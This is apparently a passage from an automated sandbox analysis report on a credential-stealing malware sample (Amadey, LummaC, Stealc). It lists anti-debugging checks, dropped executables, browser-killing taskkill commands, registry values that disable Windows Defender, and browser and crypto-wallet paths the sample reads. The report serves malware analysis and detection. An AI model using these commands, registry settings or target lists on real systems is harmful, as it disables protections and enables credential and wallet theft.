Blocks. Please,
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: firefox.exe, 0000001C.00000002.2743538088.000001D462760000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_054B0122 Start: 054B0298 End: 054B0206		0_2_054B0122
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_054B088E Start: 054B08F4 End: 054B08EE		0_2_054B088E

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054B0C66 rdtsc

0_2_054B0C66

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0076652B mov eax, dword ptr fs:[00000030h]		6_2_0076652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0076A302 mov eax, dword ptr fs:[00000030h]		6_2_0076A302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 3c882da37a.exe PID: 3020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3c882da37a.exe PID: 4956, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe "C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe "C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe "C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe "C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=1026aa8304.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: 8e42b8a1d9.exe, 0000000B.00000000.2573341778.00000000008E2000.00000002.00000001.01000000.0000000C.sdmp, 8e42b8a1d9.exe, 0000001E.00000002.2811157032.00000000008E2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 1026aa8304.exe, 00000007.00000002.2944471013.0000000006058000.00000040.00000800.00020000.00000000.sdmp, 822dda4848.exe, 0000001D.00000002.2836470970.0000000000C6C000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000002A.00000002.2923734524.0000004C5D3FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 1026aa8304.exe, 00000007.00000002.2909016252.000000000059B000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: s4Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.3036308836.0000000000932000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: rProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0074D3E2 cpuid

6_2_0074D3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008508001\8e42b8a1d9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0074CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0074CBEA

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008509001\822dda4848.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 1026aa8304.exe, 00000007.00000003.2696485168.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2597505762.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2832272842.0000000005683000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2802787027.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2777859059.0000000005683000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2802222558.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2777148435.0000000005680000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1685802951.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1754745364.0000000000731000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2300846306.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726090156.0000000000C01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3035499418.0000000000731000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1714335161.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1704412075.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1744615183.0000000000731000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000031.00000002.3038522751.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2732051750.00000000015C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8e42b8a1d9.exe PID: 824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8e42b8a1d9.exe PID: 7500, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 1026aa8304.exe PID: 8024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1026aa8304.exe PID: 5472, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000009.00000003.2537064102.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2681724270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2593021915.000000000081E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2772878233.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2593696998.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3c882da37a.exe PID: 3020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3c882da37a.exe PID: 4956, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 1026aa8304.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: 1026aa8304.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 1026aa8304.exe	String found in binary or memory: Jaxx Liberty
Source: 1026aa8304.exe	String found in binary or memory: window-state.json
Source: 1026aa8304.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 1026aa8304.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 1026aa8304.exe	String found in binary or memory: %appdata%\Ethereum
Source: 1026aa8304.exe, 00000007.00000003.2570589674.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 1026aa8304.exe, 00000007.00000003.2570589674.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 1026aa8304.exe, 0000000A.00000003.2745433151.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
